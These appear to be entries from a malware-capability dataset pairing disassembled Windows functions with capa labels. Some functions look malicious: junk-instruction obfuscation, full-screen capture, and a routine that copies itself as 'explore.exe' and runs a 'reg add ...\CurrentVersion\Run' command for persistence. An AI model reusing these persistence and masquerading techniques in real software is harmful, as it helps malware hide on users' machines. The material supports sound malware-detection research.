joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18012ec93
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
not ah
xchg al, al
movzx rax, r10w
mov qword [rsp + 0x18], rbp
nop
movzx rax, bx
push rsi
cdqe
push rdi
movzx eax, sp
cwde
cmovne ax, r11w
push r12
mov ah, 0x56
push r14
push r15
movsx eax, r8w
movzx eax, si
mov eax, 0x1470
call fcn.180132078
sub rsp, rax
dec r12w
mov rax, qword [0x180079010]
xor rax, rsp
xchg r10b, dil
stc
mov qword [rsp + 0x1460], rax
bt r15d, 0x27
movsxd r10, edx
sal r12b, 0x6f
inc r12w
rol al, 0x90
mov rbx, rcx
movzx r12d, ax
mov rax, r10
mov r14d, r9d
ror r15, cl
sar rax, 6
add r12w, 0x6903
stc
lea rcx, [0x18007bb40]
bt r15d, r14d
or r12b, 0x58
and r10d, 0x3f
add r14, r8
sbb dl, r11b
test r8w, dx
mov r15, r8
mov rdi, r8
sub dh, 0x35
cmp r11b, 0x25
mov rax, qword [rcx + rax*8]
xchg r12w, dx
lea rdx, [r10 + r10*8]
rol r12w, 0x27
bt r12w, 0xdb
neg r12w
mov r12, qword [rax + rdx*8 + 0x28]
sub eax, eax
cmp r8w, 0x5f8a
stc
mov qword [rbx], rax
cmc
cmp r8, r14
jmp 0x18012ed7c
mov dword [rbx + 8], eax
jmp 0x18012ed84
jae 0x18012ef45
lea rax, [rsp + 0x50]
test bpl, cl
cmp rdi, r14
jae 0x18012edff
movzx ecx, word [rdi]
clc
add rdi, 2
cmp cx, 0xa
jmp 0x18012edac
jne 0x18012edc7
mov edx, 0xd
stc
mov word [rax], dx
test dil, 0x84
cmc
test dil, r8b
add rax, 2
mov word [rax], cx
btc cx, ax
cmovno cx, di
rcl cl, 0x23
add rax, 2
and cx, 0x3054
lea rcx, [rsp + 0x6f8]
test r14d, r12d
jmp 0x18012edf1
cmp rax, rcx
jmp 0x18012edf9
jb 0x18012ed92
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x50]
bts r8, rax
and qword [rsp + 0x30], 0
lea r8, [rsp + 0x50]
shl r9b, cl
sub rax, rcx
adc r9w, 0x4bc3
mov dword [rsp + 0x28], 0xd55
rcl ecx, 0x9c
rcr ch, 0xf5
lea rcx, [rsp + 0x700]
sal r9b, 0x9c
sbb r9w, ax
shr r9b, 0xcb
sar rax, 1
mov qword [rsp + 0x20], rcx
mov r9b, cl
bt ecx, 0xaf
btc r9d, ebx
mov r9d, eax
mov ecx, 0xfde9
jmp 0x18012ee6e
sub edx, edx
jmp 0x18012ee75
call fcn.1801280e3
mov ebp, eax
cmc
test eax, eax
jmp 0x18012ee84
je 0x18012ef3a
xor esi, esi
clc
cmp r9w, bx
test r15w, 0x65a1
test eax, eax
jmp 0x18012ee9e
je 0x18012ef1f
and qword [rsp + 0x20], 0
test bl, r13b
or cx, 0x5fb3
lea rdx, [rsp + 0x700]
btc cx, 0x6a
mov r9b, 0x55
mov ecx, esi
bts r8, r12
lea r9, [rsp + 0x40]
mov r8d, 0x7ccd0399
bsr r8w, cx
ror r8b, cl
mov r8d, ebp
add rdx, rcx
btc rcx, rbp
xor ch, 0xf7
mov rcx, r12
stc
sub r8d, esi
jmp 0x18012eef4
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jmp 0x18012ef01
je 0x18012ef3a
add esi, dword [rsp + 0x40]
cmp r8w, 0x3b40
cmc
cmp esi, ebp
jmp 0x18012ef19
jb 0x18012eea4
mov eax, edi
sub eax, r15d
cmp cx, r14w
mov dword [rbx + 4], eax
cmc
stc
cmp rdi, r14
jmp 0x18012ef35
jmp 0x18012ed84
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx], eax
adc cl, r8b
mov rax, rbx
sub cl, 0x21
mov rcx, qword [rsp + 0x1460]
cmp bp, r14w
clc
stc
xor rcx, rsp
jmp 0x18012ef61
call fcn.1801157b3
lea r11, [rsp + 0x1470]
mov rbx, qword [r11 + 0x30]
movzx edi, r10w
mov r12d, r12d
mov rbp, qword [r11 + 0x40]
jmp 0x18012ef89
mov rsp, r11
movsxd r12, esp
mov r12b, 0x9c
bswap r14w
pop r15
pop r14
xchg r12, rdi
movsx edi, bx
cmovno r12w, cx
pop r12
xchg rsi, rdi
jmp 0x18012efaf
pop rdi
mov sil, 0x9b
pop rsi
ret
Function at 0x140002170
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x14000226b
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x140002273
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x1400022aa
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x140002280
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400022d5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x1400022fb
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x1400022e0
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000a450
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x14002e008]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rbx, [rsp + 0x30]
mov rbp, rdx
mov word [rsp + 0x30], ax
movzx edx, byte [rcx]
mov rsi, rcx
lea edi, [rax + 0x28]
test dl, dl
je 0x14000a4f5
nop dword [rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14000a4ad
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14000a4a0
cmp rcx, 1
jb 0x14000a526
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14000a4c3
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14000fc40
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14000a490
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000ba70
mov rbx, qword [rsp + 0xc0]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
call fcn.14000f904
int3
Function at 0x14000a5b0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x14002e008]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a5f5
xor al, al
jmp 0x14000a642
cmp word [rbx], 0
je 0x14000a60d
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a600
cmp word [rsp + 0x30], 0
je 0x14000a63b
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a663
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a620
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000ba70
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000f904
int3
Function at 0x14000af30
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2030
call fcn.14001fab0
sub rsp, rax
mov rax, qword [0x14002e008]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov r11d, dword [0x1400325a0]
lea rsi, [0x1400345e0]
mov rdi, rcx
test r11d, r11d
jne 0x14000afa9
mov r8d, 0x1000
lea rdx, str.HOME
lea rcx, [rsp + 0x20]
call fcn.14000a670
test al, al
je 0x14000b08f
lea rcx, [rsp + 0x20]
call fcn.140014000
movsxd r11, dword [0x1400325a0]
mov qword [rsi + r11*8], rax
inc r11d
mov dword [0x1400325a0], r11d
xor r9d, r9d
test r11d, r11d
jle 0x14000afe4
mov r10, rsi
mov r8, qword [r10]
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000afd4
add rax, 2
test ecx, ecx
jne 0x14000afc0
test edx, edx
je 0x14000b007
inc r9d
add r10, 8
cmp r9d, r11d
jl 0x14000afb4
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000aff0
cmp rax, 2
jne 0x14000b00b
cmp word [rdi + 2], 0x3a
jne 0x14000b00b
mov al, 1
jmp 0x14000b06e
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000b038
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000b038
mov bl, 1
jmp 0x14000b03c
test bl, bl
je 0x14000b063
cmp dword [0x1400325a0], 0x400
jge 0x14000b063
mov rcx, rdi
call fcn.140014000
movsxd rdx, dword [0x1400325a0]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x1400325a0], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.14000ba70
mov rsi, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret
lea rcx, str.HOME
call fcn.14000add0
int3
Function at 0x14000b1b0
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x1400325a8]
test rcx, rcx
je 0x14000b1eb
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000b1de
mov rcx, qword [0x1400325a8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x1400325a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1400365f8], 0
je 0x14000b2de
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x140029900]
mov qword [rsp + 0x80], rsi
lea rsi, [0x1400325e0]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b2bf
test al, 0x10
je 0x14000b2bf
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000b265
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x14000f8f8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000f763
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f763
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f763
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f763
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f763
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f763
cmp dword [rcx + 0xf8], 0
je 0x14000f763
mov ecx, ebx
call fcn.14000f814
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f5f0
nop
cmp dword [rbp + 0x20], 0
je 0x14000f7b1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f7bc
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f6f4
Function at 0x140018ee4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140018f6b
mov rsi, rbx
cmp word [rax], bp
je 0x140018f2a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140018f14
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140018f10
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140016714
mov rdi, rax
test rax, rax
je 0x140018f58
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000d6f0
mov rbp, rdi
xor ecx, ecx
call fcn.140015738
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001b534
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001b54a
mov al, 1
jmp 0x14001b5aa
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001b55b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001b5a8
mov ecx, dword [rcx + 0x18]
nop
call fcn.140019688
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001b5a8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001b5a8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001b5a8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001b5aa
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14001924e
Capabilities:
Write file on windows

Disassembly:
jmp 0x140042520
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140070522]
call fcn.14001a5d1
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140042577
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140042683
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14004261c
cmp qword [rbp + 0x28], 0
jle 0x14004261c
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x1400425bc
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.14001a46e
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x140042672
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140042672
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400193a7
Capabilities:
Capture screenshot

Disassembly:
jmp 0x14003b9c0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x300
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x78
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x328]
mov rax, qword [0x140063040]
xor rax, rbp
mov qword [rbp + 0x298], rax
lea rcx, [0x140070550]
call fcn.14001a5d1
mov rcx, qword [rbp + 0x2c0]
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov qword [rbp + 0x28], rax
mov edx, 3
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_SetStretchBltMode]
mov dword [rbp + 0x44], 1
mov ecx, 0x4c
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x64], eax
mov ecx, 0x4d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x84], eax
mov ecx, 0x4e
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0xa4], eax
mov ecx, 0x4f
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0xc4], eax
mov r8d, dword [rbp + 0xc4]
mov edx, dword [rbp + 0xa4]
mov rcx, qword [rbp + 8]
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov qword [rbp + 0xe8], rax
mov r8d, dword [rbp + 0xc4]
mov edx, dword [rbp + 0xa4]
lea rcx, [rbp + 0x268]
call fcn.1400198a2
lea rcx, [rbp + 0x108]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x28
rep movsb byte [rdi], byte [rsi]
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_SelectObject]
movzx eax, word [rbp + 0x116]
mov ecx, dword [rbp + 0xa4]
imul ecx, eax
mov eax, ecx
add eax, 0x1f
cdq
and edx, 0x1f
add eax, edx
sar eax, 5
shl eax, 2
imul eax, dword [rbp + 0xc4]
mov dword [rbp + 0x144], eax
mov eax, dword [rbp + 0x144]
mov edx, eax
mov ecx, 0x42
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rbp + 0x168], rax
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rbp + 0x188], rax
mov dword [rsp + 0x50], 0xcc0020
mov eax, dword [rbp + 0xc4]
mov dword [rsp + 0x48], eax
mov eax, dword [rbp + 0xa4]
mov dword [rsp + 0x40], eax
mov eax, dword [rbp + 0x84]
mov dword [rsp + 0x38], eax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x30], eax
mov rax, qword [rbp + 8]
mov qword [rsp + 0x28], rax
mov eax, dword [rbp + 0xc4]
mov dword [rsp + 0x20], eax
mov r9d, dword [rbp + 0xa4]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_StretchBlt]
mov dword [rsp + 0x30], 0
lea rax, [rbp + 0x108]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x188]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0xc4]
xor r8d, r8d
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_GetDIBits]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x2c0]
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rax, qword [rbp + 0xe8]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140057490]
call fcn.14001a207
mov rax, rdi
mov rcx, qword [rbp + 0x298]
xor rcx, rbp
call fcn.140019a96
lea rsp, [rbp + 0x2a0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140019492
Capabilities:
Execute command
Persist via run registry key
Set registry value

Disassembly:
jmp 0x14002eb50
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x788
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x14a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x7a8]
mov rax, qword [0x140063040]
xor rax, rbp
mov qword [rbp + 0x750], rax
lea rcx, [0x1400703ef]
call fcn.14001a5d1
lea rdx, [0x140055b30]
lea rcx, [rbp + 8]
call fcn.1400199e7
nop
mov r8d, 0x104
lea rdx, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rbp + 0x274], eax
lea rcx, [rbp + 0x298]
call fcn.14001a59f
nop
xor r8d, r8d
lea rdx, str.explore.exe
lea rcx, [rbp + 0x578]
call fcn.14001a16c
nop
mov rax, qword [rbp + 0x780]
add rax, 0x128
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x5b8]
call fcn.14001a153
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0x730], rax
lea r8, [rbp + 0x578]
mov rdx, qword [rbp + 0x730]
lea rcx, [rbp + 0x5f8]
call fcn.14001a3ba
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
mov qword [rbp + 0x748], rax
lea rdx, [rbp + 0x2d8]
mov rcx, qword [rbp + 0x748]
call fcn.14001a7c5
nop
lea rcx, [rbp + 0x5f8]
call fcn.14001a3ec
nop
lea rcx, [rbp + 0x5b8]
call fcn.14001a3ec
nop
lea rcx, [rbp + 0x578]
call fcn.14001a3ec
mov dword [rbp + 0x314], 0
jmp 0x14002ecab
mov eax, dword [rbp + 0x314]
inc eax
mov dword [rbp + 0x314], eax
mov eax, dword [rbp + 0x274]
cmp dword [rbp + 0x314], eax
jge 0x14002ecd3
movsxd rax, dword [rbp + 0x314]
movzx edx, byte [rbp + rax*2 + 0x50]
lea rcx, [rbp + 0x298]
call fcn.140019b8b
jmp 0x14002ec9d
xor r8d, r8d
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x638]
call fcn.14001a153
nop
xor r8d, r8d
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x678]
call fcn.14001a153
nop
lea rdx, [rbp + 0x638]
lea rcx, [rbp + 0x678]
call fcn.14001a36f
nop
lea rcx, [rbp + 0x678]
call fcn.14001a3ec
nop
lea rcx, [rbp + 0x638]
call fcn.14001a3ec
lea r8, [rbp + 0x2d8]
lea rdx, str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionRun__v_SysConnection___t_REG_SZ__d__
lea rcx, [rbp + 0x6b8]
call fcn.1400190eb
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0x730], rax
lea r8, [0x1400560f0]
mov rdx, qword [rbp + 0x730]
lea rcx, [rbp + 0x6f8]
call fcn.14001a3f6
mov qword [rbp + 0x738], rax
mov rcx, qword [rbp + 0x738]
call fcn.140019235
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0x6f8]
call fcn.140019410
nop
lea rcx, [rbp + 0x6b8]
call fcn.140019410
nop
lea rcx, [rbp + 0x2d8]
call fcn.140019410
nop
lea rcx, [rbp + 0x298]
call fcn.140019410
nop
lea rcx, [rbp + 8]
call fcn.140019410
lea rcx, [rbp - 0x20]
lea rdx, [0x140054ad0]
call fcn.14001a207
mov rcx, qword [rbp + 0x750]
xor rcx, rbp
call fcn.140019a96
lea rsp, [rbp + 0x768]
pop rdi
pop rbp
ret